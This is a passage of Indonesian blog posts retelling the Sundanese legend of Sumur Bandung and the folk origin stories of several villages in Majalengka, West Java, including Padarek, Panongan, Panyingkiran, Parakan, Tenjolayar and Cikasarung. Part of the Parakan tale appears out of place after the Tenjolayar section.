Bandung dikejarnya, Sumur Bandung bersembunyi di dalam rumpun kaso. Salasa Wayang minta kepada Ibu Dewata agar ia diberi senjata. Permintaannya itu dikabulkan oleh Ibu Dewata, hanya saja semua senjata pemberian itu tidak mempan. Bahkan semuanya menghilang dan menyusuk ke dalam diri Sumur Bandung.<br />Setelah semua senjata yang dimilikinya habis, Salasa Wayang ditendang oleh Sumur Bandung, hingga sampai di mega malang. Sumur Bandung menyusulnya, Salasa Wayang ditangkapnya, lalu dimasukkan ke dalam penjara besi. Penjara besi ditepuk oleh Sumur Bandung, jatuh di hulu dayeuh negara Kuta Waringin.<br />Setelah itu Sumur Bandung menemui saudaranya yang masih berperang di dasar lautan, Sumur Bandung memperingatkan Langensari agar menggunakan kesaktiannya, Langensari sadar akan kehilapannya. Gangsa Wayang dilemparkannya, sehingga ia terjerembab, dan terus lari ke dalam hutan.<br />Sehabis berperang, Langensari memberitahukan Sumur Bandung bahwa ia akan pergi mencari Rangga wayang. Tak lama kemudian Rangga Wayang berhasil ditemukannya.<br />Gangga Wayang yang bersembunyi di dalam hutan bertemu dengan Gajah Hambalang dan Badak Hambalang. Disuruhnya agar jala yang dibawa mereka ditebarkan pada kapal yang ditumpangi Langen Sari dan Sumur Bandung. Dengan perjanjian, kalau berhasil, kapalnya untuk Gangga wayang, sedangkan isinya termasuk Sumur Bandung yang cantik itu untuk Gajah Hambalang. Kapal berhasil dijalanya, tetapi jala itu oleh Langen Sari dijadikan dua bagian. Gangsa Wayang menyerah kepada Langen Sari. Gajah Hambalang dan Badak Hambalang lari ke hutan.<br />Atas usul Langen Sari kapal dilabuhkan di lubuk Cinanggiri, nanti kalau Sumur Bandung berputera dari raja Kuta Waringin, kapal itu hendaknya dipakai berlayar bersuka ria.<br />Setelah itu mereka kembali ke Kuta Waringin, tetapi sebelumnya singgah dulu di negara daha. Mereka diterima oleh Nyai Mangprang Wayang dan Patih Jalak Mangprang.<br />Dalam suatu pertemuan, Langen Sari bermaksud menyerahkan orang yang akan berbakti di negara Kuta Waringin. Menurut perhitungan ada sembilan orang, termasuk seorang kepalanya. Tetapi ternyata hanya ada delapan orang, yaitu: Rangga Siluman, Rangga Cempaka, Jalak Mangprang, Gajah Hambalang, Badak Hambalang, Gangsa wayang, Rangga wayang fan Langen Sari sebagai kepala.<br />Diputuskan dalam pertemuan itu bahwa Rangga Wayang yang harus mencari orang untuk melengkapi junlahnya. Atas petunjuk Pati Jalak Rangrang, orang yang gagah serta adiknya yang cantik adalah Raden Sutra Panandur Wayang dan Nyi Mas Sutra Kembang Padma Larang. Mereka ada di negara Paku Rucukan Beusi.<br />Setelah siap segalanya, pergilah Rangga wayang ke negara Paku Rucukan beusi, sesampainya di negara itu Rangga Wayang menyamar sebagai kakek-kakek yang bernama Aki Moskol. Oleh raja ia dijadikan penyabit rumput. Tetapi amatlah mengagetkan seisi keraton, karena segalanya menjadi berantakan karena apa yang dikerjakannya selalu bertentangan dengan apa-apa yang biasa dilakukan orang. Menyabit rumput, bukan rumput yang disabitnya melainkan alat vital kuda. Disuruh menyiangi tumbuh-tumbuhan, semua tanaman yang ada dibabatnya.<br />Diceritakan bahwa Rangga wayang dapat memboyong Padma Larang. Seisi keraton heboh karena Padma Larang tidak ada.<br />Padma Larang diserahkan Rangga Wayang kepada Sumur Bandung untuk dijadikan teman bermain.<br />Sutra Panandur berkeyakinan bahwa Aki Mongkol-lah yang punya ulah. Segera ia mencarinya ke negara Daha. Empat ponggawa Daha menghadapinya. Terjadilah peperangan hebat sekali. Keempat ponggawa itu dapat dikalahkannya. Mereka melarikan diri. Langen Sari ganti menghadapi Sutra Panandur, Sutra Panandur kalah, dan ingin berbakti kepada Langen sari.<br />Selanjutnya karena ponggawa sudah lengkap, Langen Sari mengajak mereka pergi ke negara Kuta Waringin. Sesampainya di Kuta Waringin diadakanlah pesta.<br /><br /><br /><br /><br />C <br />Prabu Kidang Pananjung berputra tiga orang, yakni Patih Kuda Rangga Wayang, Patih Kuda Langon Sari dan Nyi Mas Sumur Bandung<br />Prabu Kidang Pananjung bermaksud menyerahkan negara Bitung Wulung kepada Sumur Bandung. Kepada putranya yang sulung, Rangga Wayang akan diserahi ajimat pisau kencana, putranya yang kedua diserahi keris parung ganja wulung, sedangkan Nyi Sumur Bandung menerima negara Bitung Wulung dengan diberikannya pula ajimat harimau putih kembar, kanjut kundang dan tabuhan dua ekor.<br />Prabu Kidang Pananjung berpesan kepada Sumur bandung sebelum Rangga Wayang dan Langon Sari mempunyai negara sendiri dan berkeluarga, azimat itu tidak akan diberikan.<br />Setelah menyerahkan negara dan ajimat-ajimat tersebut, Prabu Kidang Pananjung “tilem” (menghilang). Sepeninggal ayahnya Rangga Wayang dan Langon Sari bermaksud mengembara ke setiap negara. Sebelum berangkat mereka minta kepada Sumur Bandung agar menyerahkan azimat pemberian ayahnya itu, tetapi Sumur Bandung tak mau memberikannya, ia berpegang teguh kepada pesan ayahnya. Terjadilah pertengkaran mulut yang dilanjutkan dengan perkelahian. Dalam perkelahian itu keris yang dilemparkan Sumur Bandung mengenai pinggang Rangga Wayang. Rangga Wayang terlempar ke puncak Gunung Jingga.<br />Melihat nasib kakaknya demikian, Langon Sari menjadi marah. Ia berniat menerkamSumur Bandung, tetapi duhung mengenai kepalanya, Langon Sari terlempar pula dan jatuh di alun-alun.<br />Selanjutnya Rangga Wayang insaf akan kesalahannya, dan minta maaf kepada Sumur Bandung, setelah itu ia bertapa di puncak gunung Sakobar. Sebaliknya Langon sari, ia menaruh dendam kepada Sumur Bandung. Ia tidak lagi mengakui Sumur Bandung sebagai adiknya.<br />Dari gunung Sakobar, rangga wayang pindah bertapa ke sudut matahari. Sesudah tujuh hari bertapa, ia bertemu dengan Sunan Ibu yang datang dari surga. Di suruhnya rangga Wayang menuju negara Karang Ganjaran. Rajanya bernama Putri Balung Tunggal nyi Mas Saramah wayang. Putri itu bersaudarakan Patih Gangsa Wayang. Sang putri memiliki tiga buah azimat , yakni golok sekung, keris kalamunyang dan panah durangga sakti. Sesudah menerima azimat ruas undur-undur, taji malela dari Sunan ibu, Rangga wayang terbang ke negara Karang Ganjoran, negara di tengah lautan, dengan maksud melamar saranah wayang. Lamaran diterimanya. Dengan penuh kebahagiaan rangga Wayang akhirnya menikah dengan Sarasah wayang.<br />Setelah ditinggalkan oleh kedua saudaranya, Nyi Sumur Bandung merasa tersiksa. Oleh karena itu sesudah menyerahkan azimat duhung parung ganja wulung kepada emban, Sumur Bandung mengubah negaranya menjadi gumpalan tanah sebesar gula jawa. Kemudian dimasukannya ke dalam kanjut kundang. Setelah itu dibawanya terbang dan dijatuhkannya isi kanjut kundang itu, terjemalah sebuah negara yang diberinya nama Bitung Wulung Emas Beureum Ujung Pulo Nagara babakan Nangsi.<br />Rangga Wayang dan Langon Sari tak bisa hilang dari ingatan Sumur Bandung. Ia sangat berharap bisa bertemu dengan kedua saudaranya itu. Selanjutnya ia bertapa di bawah pohon katomas.<br />Dalam petualangan Langon Sari didatangi ayahnya yang telah tiada. Langon Sari dinasehatinya agar sadar akan kesalahannya, dan mau mengakui serta mengasihi Sumur Bandung, disuruhnya kembali ke negara Bitung Wulung, tetapi Langon Sari tetap menolaknya. Ia ingin terus bertualang serta mencari kakaknya, Rangga Wayang.<br />Karena Langon Sari tetap saja pada pendiriannya, ayahnya menyuruh pergi ke negara Kuta Waringin. Raja negara itu bernama Sungging Purba Mantri Ratna Demang Rangga Lawe Ratu Kasirigan Wangi, yang berasal dari Pajajaran, putra Prabu Siliwangi.<br />Raja ini mempunyai tiga permaisuri, yakni : Nimbang Waringin, Padma Larang Keling Kancana dan Jurit Haji Mila mantri. Dikatakannya bahwa keris parung ganja wulung yang jantan ada di negara itu. Keris yang ada pada Sumur Bandung adalah yang betinanya. Untuk memperoleh keris itu haruslah menyamar sebagai seorang kakek yang menjijikan dengan julukan Aki Jobin Jobabintara.<br />Pada waktu itu Ratu Sungging sedang mendapat kesusahan. Ia merasa tersaingi oleh Patih Rangga Siluman dari negara Kuta Waringin dalam hal kegagahan dan kekayaannya. Ia ingin mengalahkannya, tetapi merasa tidak mampu. Maka meminta bantuan kepada Patih gajah Waringin, kakak Nimbang waringin. Permintaannya tak dikabulkan, karena Gajah Waringin tak sanggup mengalahkan Rangga Siluman yang terkenal gagah, hanya ia menunjukan jalan untuk mencapai tujuan itu, disuruhnya Nimbang Waringin menghubungi Jobin Jobabintara yang sedang bertapa.<br />Jobin Jobabintara menyanggupi permintaan itu, tetapi dengan syarat bahwa ia harus diberi senjata dan disembelihkan kerbau. Gajah Waringin menyerahkan keris parung ganja wulung yang jantan kepada Jobin Jobabintara. Bukan main gembira hatinya menerima senjata yang memang dicari-carinya.<br />Langon Sari berhasil mengalahkan Rangga Siluman. Setelah itu Langon Sari bertemu dengan Jalak Mangprang, saudara seayah Langon Sari.<br />Jalak Mangprang berhasil menyadarkan Langon Sari atas kekeliruan terhadap adiknya, jalan mangprang dan wayang Mangprang menasehati Langon sari agar mencari Sumur Bandung dan membawa ke negara Daha.<br />Di perjalanan, Langon Sari bertemu dengan Sarasah Wayang, istri Rangga wayang. Dalam suatu peperangan, Sarasah wayang dapat dikalahkan Sumur Bandung.<br />Sesuai dengan janji Langon Sari bahwa jika Sumur Bandung mau dibawa pulang ke daha akan dikawinkan dengan Raja Sungging, maka sesampainya di negara itu akan dilangsungkan pesta besar-besaran. Tetapi sebelumnya, negara Paku Rucuk beusi yang rajanya bernama Jaka Panandur harus ditaklukan dulu oleh Rangga Wayang.<br />Setelah menaklukan Jaka Panandur, Rangga Wayang mengawinkan Sumur Bandung dengan Raja Sungging. Rangga Wayang dan Langon Sari tetap tinggal di negara Babakan Karta Yuda.<br />Sumur Bandung ingin sekali mempunyai keturunan yang dapat meneruskan jejaknya memerintah negara.<br />Sumur Bandung akhirnya mengandung, dan pada saat melahirkan, ia ditolong oleh prameswari Nimbang Waringin. Bayinya perempuan, tetapi kemudian ditukar dengan seekor kucing. Bayi yang tak berdosa itu dimasukkan ke dalam peti besi, lalu dihanyutkan ke sungai Cisanggiring, sedangkan Sumur Bandung akhirnya di buang ke hutan, karena raja sungging tidak mau mempunyai snak seekor kucing.<br />Bayi yang hanyut terkatung-katung ditemukan oleh Aki dan Nini Benggol Jalawura. Bayi itu dinamainya Nyi Ilid.<br />Demi mendengar bahwa kesengsaraan yang diderita Sumur Bandung dan bayinya karena ulah Nimbang Waringin dan Gajah waringin, maka Rangga wayang marah sekali, ia ingin sekali membalas dendam, tetapi selalu dihalang-halangi oleh Sumur Bandung, bahkan Nyi Sumur Bandung menyarankan agar hal itu jangan dibesar-besarkan. Untuk membuka tabir kelicikan Nimbang Waringin lebih baik dicarikan yang sehalus-halusnya.<br />Dalam perjalanan pulang menuju Kuta waringin, Sumur bandung menciptakan sebuah negara baru yang diberinya nama Babakan Karta Yuga, kemudian bayinya yang bernama nyi Ilid diganti namanya menjadi Aci Bangbang Sumega Wayang Nyi Mas Ayu Karantenan.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-86018465631933561482010-09-21T22:30:00.001+07:002010-09-21T22:30:59.805+07:00Asal Usul Sekitar Daerah Majalengka28. ASAL MUSALNA DESA PADAREK<br /><br />Desa padarek dalam cerita lamatatkala syam hidayah tullah menyebabkan agam islam didaerah updeling kersina cirebon kira-kira abad ke-18, beliau sangat banyak pengikutnya yang setia dalam rangka menyebar luaskan agama islam, menaklukan agama animesme, memberantas kemusrikan dan kemaksiatan, akibat dari itu dipelosok pedusunan, pedesaan banyak terjadi bentrokan fisik satu sama lain saling mempartahankan keyakinan dan paham masing-masing.<br /><br />Di saat itu keadaan desa padarek sebagian besar tanahnya masih padang alang-alang, semak belukar. Kita ungkap para pengikut syarip hidayat tuloh sebagai pejuang penyebar agama islam, seperti eyang djugat wahana jaya karta, ibu ena, nyi rastapa,dan lain-lain. Sedang berjuang melawan musuh . Eyang djagat wahana meninggal, tertimpa batu handring yang di lepas musuh dari blok batu numpang. Batu handring itu mental pula kira-kira 300m, ke arah timur yang ada di pinggir kali Cisampara setelah bertahun-tahun batu itu di selimuti dan di tembus akar-akaran batang menjalar / istilah bahasa sunda areuy-areuyan maka di sebutlah julukan BATU KARUT. Bekas jatuh menimpa Djagat wahana jadi sebuah kolam sipatahunan sedangibu Ena, Nyi Rastapa yang memiliki selendang lekcan mempunyai kekuatan gaib meninggal di sebelah timur padarek.<br /><br />Beberapa abad yang lalu sebuah peristiwa tersebut tak jauh dari batu karut dan kolam sipatahunan kurang lebih 400m ke arah utara, terdapat sebuah kampung tarikolot. Kian lama penghuninya kian bertambah, maka dusun itu dijadikan desa. Yang di pimpin oleh Demang Aslia setelah ia memerintah 11 tahun lamanya ia di ganti oleh Demang Arsaim. Keadaan ekonomi rakyat rusak atap bangunan pun masih alang-alang, sirap bamboo, sedang pakaian masih compang-camping maka sering terjadi pencurian terutama hewan besar, kerbau, sapi. Oleh karenanya kantor desa harus pindah ke blok babakan, karena sumber ekonomi masih sempit maka demang mengajak seluruh warga desa untuk membuka memperluas lahan pertanian, warga manyambut dengan gembira seraya mengucapkan PADAREK dari itulah nama desa PADAREK WALKHUALAM.<br /><br />Sedikit demi sedikit lahan pertanian mewujud walaupun belum ada irigasi, seperti keadaan sekarang ini, namun telah bisa di manfaatkan dan hasilnya bisa di nikmati. Demang Arsaim memangku jabatan selama 9 tahun, ia sudah tua bangka, dan akhir tahun 1903 ia meninggal dunia. Kedemangan kini di jabat oleh Santana Wangsa, setelah ia memerintah beberapa tahun di desa itu kantor desa harus pindah lagi ke blok batu karut, yaitu yang lokasinya kini tempati. Wilayahnya meliputi : 1) Blok Desa 2) Tari Kolot 3) Cibulakan 4) Mananti 5) Pasirhanja 6) Suka Wangi 7) Cigobang meliputi Dayeuh panjang, Cipasung, Cicariang 8) Cisalak, dengan batas-batasnya. Sbb : <br />Utara : Desa Bantarujeg<br />Timur : Desa Kalapa Dua<br />Selatan : Desa Cibulan & Desa Lemah Putih <br />Barat : Desa Sada Wangi & Desa Kepuh<br />Desa padarek setelah negara merdeka :<br />Setelah negara merdeka timbulah kekacauan yang ingin mendirikan negara islam Indonesisa yaitu gerombolan D.I / TII yang dipimpin oleh S.M. Karto Suwiryo, Desa Padarek pun jadi sasaran penggarongan, pembakaran rumah, pembunuhan, penculikan, pada tanggal 11 Agustus 1959 padarek pun sebagai ibu kota di bakar hangus pemerintah desa tidak stabil, pendidikan kocar-kacir, di waktu malam tidur pundi rungkun-rungkun bamboo dsb.<br /><br />Tahun 1981 desa padarek di mekarkan jadi 3 desa yaitu : 1) Desa Padarek 2) Desa Sukajadi 3) Desa Marga Jaya saat itu kades sedang di pangku oleh Radi LK.Batas-batas Desa kini berubah sebagai berikut :<br />Utara : Desa Sukajadi<br />Timur : Desa Kalapa Dua & Desa Sinar Galih<br />Selatan : Desa Marga Jaya<br />Barat : Desa Sukajadi<br />Meliputi 1) Blok desa 2) Tarikolot 3) Cigobang termasuk Dayeuh Panjang, Cipining Cicariang.<br />Susunan kepala desa lama dan setelah di mekarkan : 1) Demang Aslia 2) Demang Arsoim 3) Santana Wangsa & 4) Wangsa Atmaja 5) By. Bima 6) Lampu 7) Endo Hamola 8) Karta Winata pjs 9) Danuri 10)Al Hatob pjs 11) M. Hatob 12) M. Arkasim 13) Ojo Sujana 14) Radi L.K. 15) Dadang Haerudin pjs 16) Dadang Haerudin 17) Dadang Haerudin 18) Hapip R. K. pjs 19) Dadang Haerudin<br /><br />Keterangan :<br />1) Luas wilayah : 436.005 Ha. Ketinggian tanah 489m dari permukaan laut, terdiri dari perbukitan, mata pencaharian penduduk, petani buruh tani, dagang, wiraswasta, dll.<br />2) Bekas batu bandring menimpa jadi kolam sipatahunan<br />3) Batu bandring kini di sebut batu karut masih wujud cerita ini di himpun dari sesepuh desa padarek lama, oleh Ginon Akroman sejak tahun 1986M. <br /><br />29. ASAL MUASALNA DESA PANONGAN<br /><br />Pada tahun 1769 di dataran rendah sebelah Timur Sungai Cimanuk ada sebuah penduduk/dusun yang namanya dusun “Siwalan” Sebab disebut dusun Siwalan karena ditempat tersebut banyak tumbuh pohon siwalan. Di dusun itu dihuni oleh satu keluarga namanya aki dan Onclong kopik beserta pengikutnya yang namanya aki dan nini terbin.<br /><br />Keluarga tersebut sehari-harinya sebagai petani. Waktu itu untuk sumber air minum, mandidan menyiram. Mereka membuat sumur dan menggali, berkat kesaktiannya keluarlah air yang banyak dan sumur tersebut diberi nama su ur sugara yang sampai kini dianggap keramat.<br /><br />Lama kelamaan penduduk di dusun Siwalan bertambah banyak, pada tahun 1825 datanglah 2 utusan dari kesultanan Cirebon untuk memimpin pendukuhan tersebut. Mereka dalah Kibuyut Dokom dan kibuyut Ruda, sebab wilayah itu masih wilayah Cirebon, untuk tugas ke-2 orang tersebut kibuyut Ruda menjadi kuwu dan kibuyut Dokomnya lebe.<br />Namun kenyataannya kenyataanya Ki Ruda menjadi kuwu hanya berjalan kurang lebih 1 tahun, sebab perasaan dirinya belum mampu, begitu pula ki Dokom menjadi lebe kurang mampu, sebab ki Ruda keahliannya di kalebean atau kesra sedangkan ki Dokom di pemerintahan di oper alih ke ki Dokom menjadi kuwu dan ki Ruda menjadi lebe.<br />Berkat kepemimpinan kedua orang tersebut ngaheuyeuk dayeuh ngolah dusun dengan arif dan bijaksana keadaan subur makmur gemah ripah repeh rapih.<br />Sepuluh tahun kemudian kepemimpinan ki Dokom telah berlalu dan kibuyut Dokom mengundurkan diri lalu diganti oleh putra daerah asli dusun Siwalan, yaitu kibuyut Bangi. Begitu pula berkat kepemimpinan ki Bangi dalam keadaan subur gemah rapih repeh rapih.<br /><br />Namun kira-kira pada tahun 1839-an ada sebuah tragedy perang yang katanya pada waktu itu disebut perang “babad bantar jati”pada wakti itu selaku senopan perang / pemanggil juritnya, yaitu ki Rangin/ ki Bagus Rangin perang dengan tentara Belanda yang dating dari arah Sumedang, yang pada waktu itu sebagai bupati kepala daerah Sumedang atau Pangeran yang terkenal arif dan bijaksana, walaupun dirinya orang Belanda tetapi sangat menyayangi rakyat kecil.<br /><br />Namun pada perang tersebut para penduduk dusun Siwalan tidak ikut campur hanya mengintai saja. Orang Sunda bilang “Noong”. Melihat kejadian tersebut seusai perang para sesepuh desa Siwalan mengadakan rempungan / musyawarah untuk mengganti nama dusun Siwalan menjadi desa Panongan atau “Panoongan”, sebab pada perang tersebut diatas hanya mengintip atau noong dan hingga sekarang namanya desa Panongan.<br />Kira-kira pada tahun 1857 katanya kedatangan pula ke desa Panongan tersebut seorang pejuang yang bernama mbah buyut Guru Kusuma asal dari Jawa Timur, di salah seorang pejuang agama Islam dan pejuang Negara yang ikut perang dengan Pangeran Diponegoro. Dia datang ke desa Panongzn dengan cara menyamar dengan memakai karung kadut, sebab dia sedang dikejar-kejar oleh musuh. Lalu datangnya ke desa Panongan dirinya merasa aman dan dia menginap di keluarga kuwu Bangi.<br /><br />Hari demi hari, minggu demi minggu, bulan demi bulan, tahun demi tahun mbah buyut Guru Kusuma di desa Panongan itu medirikan perguruan di bidang baca tulis Al-Qur’an atau dalam hal bela diri. Untuk menyebarluaskan ajaran agama Islam bersama sesepu dan penduduk desa Panongan.<br /><br />Lalu oleh para penduduk mbah buyut Guru Kusuma diberi julukan buyut kadut, perguruan itu tempatnya di pinggir desa atau dayeuh. Dengan adanya perguruan itu yang dipimpin beliau Desa Panongan cukup meningkat di dalam ilmu keagamaan / hal bela diri. Jadi dengan adanya beliau membawa berkah untuk masyarakat Desa panongan da sekitarnya, buyut Jaka pun sampai sampai akhir hayatnya didesa panongan dan dimakamkan di blok pasir begitu pula kuwu Bangi.istirinya dimakamkan dberdampingan dengan kibuyut Jaka Kusuma sampai sekarang masih ada makamnyadan dianggap keramat oleh para penduduk setenpat dan sekitarnya juga oleh para ulamahingga kab. Majalengka dan sekitarnya. Dan begitu pula ki Ruda dan ki Buyut Dokom sampai akhir hayatnya di desa Panongan dan dimakamkan di sebelah timur solokan Cibeet, ki buyut Dokom di sebelah Barat makan ki Buyut Ruda.<br /><br />Demikian sekilas pandang asal-usul Desa Panongan Kec. Jatitujuh Kab. Majalengka. Apabila dalam tulisan ini ada yang tidak pas dengan kenyataan mohon maaf sebesar-besarnya, tulisan ini didapat dari arsip desa yang ada dan disusun kembali oleh raksa bumi. Semoga ini menjadi gambaran bagi anak-cucu kita di kemudian hari.<br /><br />30. ASAL MUASALNA DESA PANYINGKIRAN<br /><br />Dahulu kala kira-kira pada pertengahan abad 17. Ketika di Cirebon sudah menyebar agama Islam, begitu juga di daerah Jawa Barat lainnya. Ketika itu ada seseorang dari kerajaan Mataram yang bernama EMBAH GAMBIR yang diutus oleh RATU ANOM (seorang raja), untuk mencari seorang calon permaisuri yang cantik. Karena RATU ANOM belum mempunyai permaisuri.<br /><br />Selama perjalannanya EMBAH GAMBIR didampingi oleh beberapa menteri dan para pengawal. Mereka berjalan kearah Barat dan sedikit ke Selatan. Namun setelah berhari-hari berminggu-minggu bahkan berbulan-bulan lamanya, mereka mencari seorang wanita cantik, tapi tak kunjung mereka temukan. Sedangkan perjanjiannya mereka harus menemukan wanita cantik tersebut selama 1 minggu. Akhirnya mereka menyerah dan berhenti di sebuah tempat yang pada saat itu masih berupa hutan belantara.<br />Karena pembekalan sudah habis dan mereka tidak mungkin bepergian lagi. Akhirnyamenetaplah mereka di sana dengan harapan mereka dapat tinggal di sana seraya seraya menunggu dan mencari wanita cantik di tempat-tempat sekelilingnya.<br />Untuk makan, minum, mandi dan sebagainya digalilah sebuah sumur yang di atasnya ditutup oleh belahan kayu (Padung). Oleh karena itu, daerah tersebut diberi nama CIPADUNG dan sampai saat ini sumur itu masih ada.<br /><br />Dibagian Selatan dibuatlah sebuah tempat untuk meliht (Tenjo, Sunda) dan meninjau tempat-tempat sekelilingnya.Hingga daerah tersebut diberi nama PANENJOAN. Di waktu sore hingga maghrib mereka berpindah ke tempat yang lebih tinggiuntuk melihat lembayung (Layung, Sunda). Hingga sekarang daerah tersebut dinamakan PANGLAYUNGAN.<br />Akhirnya dijadikanlah semua daerah tersebut tempat untuk mereka menetap selama-lamanya, untuk menghindar (Nyingkir) dari RATU ANOM dan kerajaan Mataramnya. Hal ini terjadi karena EMBAH GAMBIR tidak berhasil mencari calon permaisuri untuk RATU ANOM, karena kegagalannya itu mereka akan mendapat hukuman. Hingga daerah itu dijadikan sebuah desa yang bernama “PANYINGKIRIAN” yang berasal dari kata Nyingkir (menghindar).<br /><br />Daerah itu dijadikan oleh EMBAH GAMBIR menjadi sebuah kerajaan (keration) atau kesatuan dan EMBAH GAMBIR sendiri yang menjad rajanya. Setelah beberapa lama EMBAH GAMBIR menjalankan pemerintahan.<br />Akhirnya wafatlah ia disana tempat tersebut kemudian dinamakan KEDATUAN berasal dari KERATUAN.<br /><br />EMBAH GAMBIR semasa hidupnya putus asa untuk menemukan wanita cantik dan putus asa untuk kembali ke Mataram maka makam EMBAH GAMBIR disebut juga EMBAH PONDOK.<br />Demikian untuk tutur cerita tentang Riwayat PANYIGKIRAN. Kebenarannya Wallahu A’lam<br /><br />31. ASAL USUL DESA PARAKAN<br /><br />Parakan adalah sesuatu desa yang di mana dahulunya bernama Gunung Sari Trajutisna itu ada sebuah pemakaman yang disebut Buyut Trajutisna dan pemakaman itu sebenarnya bukanlah wujudnya manusia, yang dikubur berupa pekakas seperti pedang, keris, dan alat perkakas lainnya.<br /><br />Pada zaman itu perkakas tersebut dianggapnya sebagai barang pekakas besar oleh masyarakat Parakan. Barang pusaka itu dianggapnya keramat, menurut orang tua, dahulu perkakas itu tidak boleh digali atau dirusak oleh siapa saja. Tetapi kepercayaan itu sekarang sudah hampir hilang karena kepercayaan menyembah dan menganggap keramat kepada benda atau kuburan itu dinamakan dinamisme. Buyut Trajutisna itu letaknya di Dukuh Kulon.<br /><br />Pengambilan nama Dukuh Kulon itu mungkin karena letak perkampungan itu ada di sebelah barat atau kampung Dukuh Kulon letaknya yang palingS berat dari keseluruhan Desa Parakan.<br /><br />Di Rajagaluh ada kerajaan yang diperintahkan oleh bangsa Walanda yang bernama Ratu Galuh dan agama yang dianutnya oleh mereka yaitu agama kafir. Mereka ingin masuk kepada agama Islam. Ratu Galuh mempunyai seorang putra laki-laki ia sedang sekali marak (sunda) yaitu mengambil ikan di sungai Cikamangi di Desa Trajutisna yaitu di antaranya Leuwi Sumar dan Leuwi Cadas.<br /><br />Marak itu menimbulkan berbagai kerusakan-kerusakan seperti sawah yang dekat sungai itu menjadi rusak. Karena tanahnya diambil yang ada di pinggir sungai pun menjadi rusak. Bendung sungai Cikamangi apabila akan marak.<br /><br />Nyi Rambut Kasih dalam hatinya merasa kesal melihat perbuatan mereka itu, kemudian ia mengambil tusuk kondenya itu, lalu diciptakanlah menjadi ikan yang besar yaitu ikan senggal yang warnanya putih. Setelah sungai itu airnya surut, maka ramai-ramailah mencari ikan, sedang ramainya mencari ikan kemudian senggal itu menghendaki agar putra galuh itu mati.<br /><br />32. SEJARAH TENJOLAYAR<br /><br />Berdasarkan cerita rakyat (legenda) Desa Tenjolayar mempunyai rangkaian sejarah dengan beberapa desa lain di sekitarnya, seperti Desa Manjeti dan Cigasong. Daerah ini diperkirakan zaman dahulu merupakan bagian dari kawasan yang dekat dengan Laut Jawa.<br /><br />Menurut keterangan Aki Emen (sesepuh), zaman dahulu ada dua orang Kiyai bersaudara asal Cirebon bernama Embah Karsijah dan Embah Kawung Poek. Kedua orang ini tidak rukun dalam kehidupannya, apalagi Kawung Poek mempunyai sifat tamak akan kekuasaan. Berdasarkan kejadian tersebut, Embah Karsijah minta tolong kepada Embah Karim saudara mereka. Sehingga persengketaan dapat diselesaikan oleh Kiyai Karim dengan keputusan, bahwa daerah kekuasaan dibagi menjadi dua, yaitu:<br />1.Daerah sebelah timur (sekarang Desa Tenjolayar) dikuasai oleh Embah Karsijah. <br />2.Sebagian besar wilayah Cigasong dikuasai oleh Embah Kawung Poek. <br />Berdirinya Desa Tenjolayar sekira tahun 1905 atas ajuan tokoh masyarakat kepada Kanjeng Dalem (bupati Majalengka saat itu). Agar tempat ini menjadi sebuah desa, Kanjeng Dalem meminta agar terlebih dahulu didirikan Sekolah ngadapang (Sunda, tengkurap di atas lantai/tanah). Di lokasi sekolah ngadapang tersebut sekarang berdiri Sekolah Dasar Negeri Tenjolayar 1.<br /><br />Asal kata Tenjolayar sendiri terdiri dari dua suku kata yakni Tenjo yang berarti melihat dan Layar yang berarti layar perahu. Menurut keterangan masyarakat kata Tenjolayar berarti melihat layar, arti ini dapat dibuktikan dengan adanya suatu tempat di Tenjolayar yang bernama Pesanggrahan. Konon tempat tersebut adalah tempat istirahat Ratu Majalengka. Dari tempat ini kita dapat melihat ke arah pantai Cirebon.<br />Putra Galuh yang sedang akan mengambil ikan senggal tadi, tetapi dengan jilat ikan senggal menyambar tenggorokan Putra Galuh. Setelah menyambar tenggorokan putra galuh ikan senggal itu menghilang. Putra Galuh itu kemudian di bawa langsung ke Rajagaluh. Setelah sampai di Keraton Rajagaluh beberapa waktu kemudian Putra Galuh meninggal dunia.<br /><br />Sebelum azalnya tiba mengucapkan yang berbunyi “Apabila orang Trajutisna kawin dengan orang Rajagaluh maka di antara mereka tidak umurnya atau tidak jodohnya.” Kemudian setelah kejadian itu Desa Trajutisna dinamakan desanya menjadi Desa Parakan.<br /><br />LEGENDA KELURAHAN CIKASARUNG<br />KECAMATAN MAJALENGKA KABUPATEN MAJALENGKA<br /><br />Di sebelah utara kota Majalengka, sekitar kurang lebih 2,5 Km dari pusat kota Kabupaten setelah melewati Pasir Melati dan Sungai Cideres ada sebuah kelurahan bernama Cikasarung. Kelurahan Cikasarung termasuk dalam wilayah Kecamatan Majalengka dan merupakan perbatasan sebelah utara dengan Kecamatan Dawuan. Jumlah penduduk Kelurahan Cikasarung saat ini 2885 jiwa dengan mayoritas penduduk bermata pencaharian sebagai petani. Sebagai sebuah Desa/Kelurahan, Cikasarung bersifat homogen, hal ini menjadikan interaksi antar warganya begitu akrab-bersahabat penuh rasa kekeluargaan.<br /><br />Lajimnya sebuah kawasan pemukiman di daerah Pasundan penggunaan kata ‘ci’ yang diambil dari kata cai yang berarti air mengandung makna bahwa tempat tersebut subur dengan terdapatnya sumber-sumber air yang melimpah yang ditenggarai dengan adanya satu atau ada beberapa sungai di tempat tersebut.<br /><br />Di Kelurahan Cikasarung ada sungai yang mana dari nama sungai tersebut lah nama Cikasarung diambil. Sungai Cikasarung berhuli di sebelah Tenggara Kelurahan mengalir sampai Desa karangsambung Kecamatan Kadipaten dan bermuara di Sungai Cilutung.<br /><br />Di antara nama-nama desa / kelurahan yang berada di Kabupaten Majalengka bahkan di Jawa Barat sekalipun, mungkin nama Cikasarunglah yang terasa asing dan mungkin juga unik di telinga orang-orang yang mendengarnya. Hal tersebut bisa dilihat dari ekspresi orang-orang yang selalu tersenyum ketika nama Cikasarung disebut. Rata-rata mereka beranggapan nama itu diambil dari kata ‘sarung’ dengan mengartikannya ‘cai dina sarung’ (air di dalam kain sarung). Atau ada juga yang menghubungkannya dengan cerita rakyat Lutung Kasarung. Namun menurut sesepuh nama Desa Cikasarung itu diambil dari nama sungai yang mengalir melingkari blok desa. Nama Cikasarung sendiri diambil dari dua kata yaitu: cai dan kasarung.<br /><br />Menurut para sesepuh desa, asal muasal keberadaan Kelurahan Cikasarung tidak bisa dilepaskan dengan Sejarah Kerajaan Islam Mataram di Jawa Tengah. Pada masa Mataram diperintah oleh Sultan Agung Hanyokrokusumo, Mataram berniat merebut Jayakarta yang pada waktu itu bernama Batavia dari tangan penjajah Belanda. Untuk menyukseskan penyerangan tersebut diperlukan perencanaan yang matang dan jitu. 